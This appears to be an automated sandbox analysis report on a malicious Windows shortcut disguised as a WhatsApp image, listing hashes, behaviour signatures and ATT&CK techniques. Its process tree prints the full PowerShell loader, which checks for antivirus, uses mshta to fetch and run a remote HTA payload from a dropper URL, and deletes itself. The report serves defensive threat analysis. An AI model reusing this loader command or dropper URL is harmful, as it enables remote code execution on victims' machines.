1be8c45867931b837a5630833a9e2a01846538118f9c8e345c1a23a5f2510343

Analysis

max time kernel
148s
max time network
156s
platform
windows10-2004_x64
resource
win10v2004-20240226-en
resource tags

arch:x64arch:x86image:win10v2004-20240226-enlocale:en-usos:windows10-2004-x64system
submitted
29/02/2024, 05:05

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General

Target

WhatsApp Görsel 2024-02-28 saat 14.52.35_809ff0ec.jpg.lnk
Size

1KB
MD5

0365118a92333b6faa474aded6b3a6f2
SHA1

0bcac8b38e4e338508606c897eb7e36ad9d8a68e
SHA256

98e44c818340bc1657402ed6b463ae52247f6d52d45d4a5aa0e6fad5b4935b1e
SHA512

08007340cd5d133aae544597937a9cb1de83f29ff068c1aec023f3182dac1b92f7b150d2e0ecb9392f756c8271a759198840718cba82387432093e691dac3eaf

Score

10^/10

Malware Config

Extracted

Language

hta

Source

URLs

hta.dropper

https://thanhancompany.com/grip/FYI

Signatures

Blocklisted process makes network request 4 IoCs

flow	pid	Process
10	2996	mshta.exe
13	2996	mshta.exe
18	2996	mshta.exe
20	2996	mshta.exe

Checks computer location settings 2 TTPs 1 IoCs

Looks up country code configured in the registry, likely geofence.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\USER\S-1-5-21-2727153400-192325109-1870347593-1000\Control Panel\International\Geo\Nation	cmd.exe

Deletes itself 1 IoCs

pid	Process
3628	powershell.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Suspicious behavior: EnumeratesProcesses 2 IoCs

pid	Process
3628	powershell.exe
3628	powershell.exe

Suspicious use of AdjustPrivilegeToken 1 IoCs

description	pid	Process
Token: SeDebugPrivilege	3628	powershell.exe

Suspicious use of WriteProcessMemory 4 IoCs

description	pid	Process	procid_target
PID 2904 wrote to memory of 3628	2904	cmd.exe	87
PID 2904 wrote to memory of 3628	2904	cmd.exe	87
PID 3628 wrote to memory of 2996	3628	powershell.exe	91
PID 3628 wrote to memory of 2996	3628	powershell.exe	91

C:\Windows\system32\cmd.exe
cmd /c "C:\Users\Admin\AppData\Local\Temp\WhatsApp Görsel 2024-02-28 saat 14.52.35_809ff0ec.jpg.lnk"
1⤵
- Checks computer location settings
- Suspicious use of WriteProcessMemory
PID:2904
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" $u = Get-WmiObject -Namespace 'root\SecurityCenter2' -Class AntiVirusProduct -ComputerName $env:computername;foreach($v in $u ){if ($v.displayName -replace 'Windows Defender', ''){Exit}}.(gp -pa 'HKLM:\SOF*\Clas*\Applications\msh*e').('PSChildName')https://thanhancompany.com/grip/FYI;$SMAF = Get-Location;$SMAF = Join-Path $SMAF 'WhatsApp Görsel 2024-02-28 saat 14.52.35_809ff0ec.jpg.lnk';del $SMAF
  2⤵
  - Deletes itself
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  - Suspicious use of WriteProcessMemory
  PID:3628
- - C:\Windows\system32\mshta.exe
    "C:\Windows\system32\mshta.exe" https://thanhancompany.com/grip/FYI
    3⤵
    - Blocklisted process makes network request
    PID:2996

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

Query Registry

T1012

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

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Downloads

C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_z42a00vi.bcp.ps1

Filesize
60B

MD5
d17fe0a3f47be24a6453e9ef58c94641

SHA1
6ab83620379fc69f80c0242105ddffd7d98d5d9d

SHA256
96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

SHA512
5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

Download Submit
memory/3628-8-0x0000021A73AA0000-0x0000021A73AC2000-memory.dmp

Filesize
136KB

Download
memory/3628-12-0x00007FFA885D0000-0x00007FFA89091000-memory.dmp

Filesize
10.8MB

Download
memory/3628-13-0x0000021A716E0000-0x0000021A716F0000-memory.dmp

Filesize
64KB

Download
memory/3628-14-0x0000021A716E0000-0x0000021A716F0000-memory.dmp

Filesize
64KB

Download
memory/3628-15-0x0000021A716E0000-0x0000021A716F0000-memory.dmp

Filesize
64KB

Download
memory/3628-18-0x00007FFA885D0000-0x00007FFA89091000-memory.dmp

Filesize
10.8MB

Download